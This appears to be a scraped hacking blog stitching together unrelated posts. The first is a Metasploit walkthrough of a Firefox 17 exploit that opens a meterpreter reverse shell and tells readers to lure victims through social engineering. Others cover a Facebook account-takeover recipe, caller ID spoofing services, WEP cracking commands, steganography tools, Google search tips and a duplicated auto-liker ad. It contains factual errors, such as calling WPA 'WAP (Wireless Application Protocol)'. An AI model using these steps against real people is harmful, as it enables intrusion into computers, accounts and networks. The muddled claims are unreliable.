This exploit gains remote code execution on Firefox 17.0.1 and all previous versions provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG “use” element in the <body> (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame’s window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it.

Exploit Targets

Firefox 17.0.1

Windows PC

Linux PC

MAC OS X PC

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/multi/browser/firefox_svg_plugin

msf exploit (firefox_svg_plugin)>set payload windows/meterpreter/reverse_tcp
msf exploit (firefox_svg_plugin)>set lhost 192.168.1.167 (IP of Local Host)
msf exploit (firefox_svg_plugin)>set srvhost 192.168.1.167 (This must be an address on the local machine)
msf exploit (firefox_svg_plugin)>set uripath / (The Url to use for this exploit)
msf exploit (firefox_svg_plugin)>exploit

Now an URL you should give to your victim http://192.168.1.167:8080/

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Best Steganography Tools

2014-01-13T08:08:00.009-08:00

by mayur khokhar

What is steganography?

Steganography is defined as the art of hiding information, data or messages in an image. The advantage of steganography is that those who are outside the party even do not realize that some sort of communication is being done.

Steganography comes in different forms:

Hidden information in Text Files
Hidden information in Image Files
Hidden information in Document Files
Hidden information in Video Files
Hidden information in Audio Files
Hidden information in E-Mails

How to Hide File behind Images

Stools

S-Tools is a steganography tool that hides files in BMP, GIF, and WAV files.

Download

Hermetric stego	http://www.hermetic.ch
Outguess	http://www.outguess.org/
Quick Crypto	http://www.quickcrypto.com

Document Steganography

Merge Streams

Merge Streams shows you how to merge MS Word streams and MS Excel Workbook stream. It can hide MS Excel document inside MS Word document or vice a versa. If you wish to transparently hide some important documents inside old financial reports this is for you. It does not implement any crypto and is not secured enough, but is a smart trick.

Download

Office XML	http://www.irongeek.com/
CryptArkan	http://www.kuskov.com/

How to Hide File behind Audio (Audio Steganography)

Mp3Stegz

Mp3stegz is an application that apply steganographic (steganography) algorithm in mp3 files. Mp3stegz will maintain original mp3 files size and sound quality. The hidden message is compressed and encrypted.

Download

Omnihide	http://omnihide.com/
Our Secret	www.securekit.net

How to Hide File behind Video (Video Steganography)

Our Secret

Our Secret (formerly Steganography) lets you hide text files or files such as video, audio, image and others in file. It is designed to hide and send your sensitive files or messages.

www.securekit.net

Omnihide	http://omnihide.com/
Masker	http://www.softpuls.com/

How to Send Hidden Text in Mail (Email Steganography)

Spam Mimic

www.spammimic.com

Hacking Facebook Account with just a text message

2014-01-13T07:53:00.000-08:00

by mayur khokhar

Can you ever imagine that a single text message is enough to hack any Facebook account without user interaction or without using any other malicious stuff like Trojans, phishing, keylogger etc. ?

Today we are going to explain you that how a UK based Security Researcher, "fin1te" is able to hack any Facebook account within a minute by doing one SMS.

Because 90% of us are Facebook user too, so we know that there is an option of linking your mobile number with your account, which allows you to receive Facebook account updates via SMS directly to your mobile and also you can login into your account using that linked number rather than your email address or username.

According to hacker, the loophole was in phone number linking process, or in technical terms, at file /ajax/settings/mobile/confirm_phone.php

This particular webpage works in background when user submit his phone number and verification code, sent by Facebook to mobile. That submission form having two main parameters, one for verification code, and second is profile_id, which is the account to link the number to.

As attacker, follow these steps to execute hack:

Change value of profile_id to the Victim's profile_id value by tampering the parameters.
Send the letter F to 32665, which is Facebook’s SMS shortcode in the UK. You will receive an 8 character verification code back.
Enter that code in the box or as confirmation_code parameter value and Submit the form.

Facebook will accept that confirmation code and attacker's mobile number will be linked to victim's Facebook profile.

In next step hacker just need to go to Forgot password option and initiate the password reset request against of victim's account.

Post by The Hacker News.

Attacker now can get password recovery code to his own mobile number which is linked to victim's account using above steps. Enter the code and Reset the password!

Facebook no longer accepting the profile_id parameter from the user end after receiving the bug report from the hacker.

In return, Facebook paying $20,000 to fin1te as Bug Bounty.

Making Fake Calls - Caller ID Spoofing.

2014-01-13T07:50:00.001-08:00

Caller ID Spoofing...

Caller ID spoofing is the process of faking your identity while making a call. Read about Caller ID spoofing and learn how it works. There are many websites available which offer free service to make fake calls. With these websites, you can make calls to any one from any one. In this post, we are listing 5 websites for making fake calls:

Warning: Use these websites only for educational purpose. These websites collect logs. If you use it for any illegal work, we will not be responsible for any criminal charge you face.

1. CrazyCall.net

CrazyCall is the most popular website used for call spoofing. Few countries have also blocked the website because of its use in many crimes. This website lets users make calls from any number they want. So, you can make prank calls with this. It also lets users change the voice to be anonymous while calling.

2. SpoofCard

SpoofCard is also a nice service that lets users call from any number. You can call your friends from his number. It also lets you make group calls. For using the service, you need to have credits in your account. You can make demo calls for free, but you need to buy credits for more calls.

3. Spooftel

Spooftel is also a similar kind of caller id spoofing service. Purchase credits and make prank calls. You can also make demo calls to see how the service works. It also has option to change the pitch of your voice. It also has an option to send messages.

4. BluffmyCall

BluffMyCall is another nice call spoofing web service with lots of features. It lets users change caller id, record calls, change voice and leave voice messages. After using your free minutes, you can purchase your minutes.

5. CallerIDFaker

CallerIDFaker comes with better offers. You can get unlimited calling for whole month only for $29.95. Like other services, it also lets users change voice and record calls.

Please use these websites only for playing pranks with friends. You can easily get caught if you use it for illegal work.

20 Great Google Secrets

2014-01-12T07:43:00.007-08:00

by mayur khokhar

http://www.pcmag.com/article2/0,4149,1306756,00.asp

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

Google is clearly the best general-purpose search engine on the Web (see

www.pcmag.com/searchengines

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

20 Great Google Secrets

2014-01-12T07:43:00.005-08:00

wifi hack window pc and linux trick 2014

2014-01-12T07:39:00.001-08:00

How to Hack WiFi Password ?
by mayur khokhar

Downlaod Backtrack : www.backtrack-linux.org/downloads/

First of all you need to scan for available wireless networks.

you can use“NetStumbler” or “Kismet” for Windows and Linux and KisMac for Mac.

It’ll also show how the Wi-fi network is encrypted. The two most common encryption techniques are:

1) WEP (Wire Equivalent Privacy )

2) WAP(Wireless Application Protocol)

WEP allows a hacker to crack a WEP key easily whereas WAP is currently the most secure and best option to secure a wi-fi network

It can’t be easily cracked as WEP because the only way to retreive a WAP key is to use a brute-force attack or dictionary atack.

How to Crack WEP

To crack WEP we will be using Live Linux distribution called BackTrack to crack WEP.....posted by My Tricks Club

BackTrack have lots of preinstalled softwares but for this time
The tools we will be using on Backtrack are:

a)Kismet – a wireless network detector
b)airodump – captures packets from a wireless router
c)aireplay – forges ARP requests
d)aircrack – decrypts the WEP keys

Follow the steps One by One

1) First of all we have to find a wireless access point along with its bssid, essid and channel number. To do this we will run kismet by opening up the terminal and typing in kismet. It may ask you for the appropriate adapter which in my case is ath0. You can see your device’s name by typing in the command iwconfig.
2) To be able to do some of the later things, your wireless adapter must be put into monitor mode. Kismet automatically does this and as long as you keep it open, your wireless adapter will stay in monitor mode.

3) In kismet you will see the flags Y/N/0. Each one stands for a different type of encryption. In our case we will be looking for access points with the WEP encryption. Y=WEP N=OPEN 0=OTHER(usually WAP).

4) Once you find an access point, open a text document and paste in the networks broadcast name (essid), its mac address (bssid) and its channel number. To get the above information, use the arrow keys to select an access point and hit to get more information about it.

5) The next step is to start collecting data from the access point with airodump. Open up a new terminal and start airodump by typing in the command:

airodump-ng -c [channel#] -w [filename] –bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your access point goes after -c , the file you wish to output the data goes after -w , and the MAC address of the access point goes after –bssid. The command ends with the device name. Make sure to leave out the brackets.

6) Leave the above running and open another terminal. Next we will generate some fake packets to the target access point so that the speed of the data output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the program the specific attack we wish to use which in this case is fake authentication with the access point. The 0 cites the delay between attacks, -a is the MAC address of the target access point, -h is your wireless adapters MAC address, -e is the name (essid) of the target access point, and the command ends with the your wireless adapters device name.

7) Now, we will force the target access point to send out a huge amount of packets that we will be able to take advantage of by using them to attempt to crack the WEP key. Once the following command is executed, check your airodump-ng terminal and you should see the ARP packet count to start to increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]

In this command, the -3 tells the program the specific type of attack which in this case is packet injection, -b is the MAC address of the target access point, -h is your wireless adapters MAC address, and the wireless adapter device name goes at the end.
Once you have collected around 50k-500k packets, you may begin the attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b is the targets MAC address,and the -n 128 tells the program the WEP key length. If you don’t know the -n , then leave it out. This should crack the WEP key within seconds. The more packets you capture, the bigger chance you have of cracking the WEP key.

sell facebook auto liker script

2014-01-12T07:35:00.005-08:00

by mayur khokhar
selling facebook auto liker script

likelo.com

is my web site.

likelo script i shelling show my contect me.
my facebook Id
www.facebook.com/mayur.khokhar1

sell facebook auto liker script

2014-01-12T07:35:00.001-08:00

by mayur khokhar
selling facebook auto liker script

likelo.com

is my web site.

likelo script i shelling show my contect me.
my facebook Id
www.facebook.com/mayur.khokhar1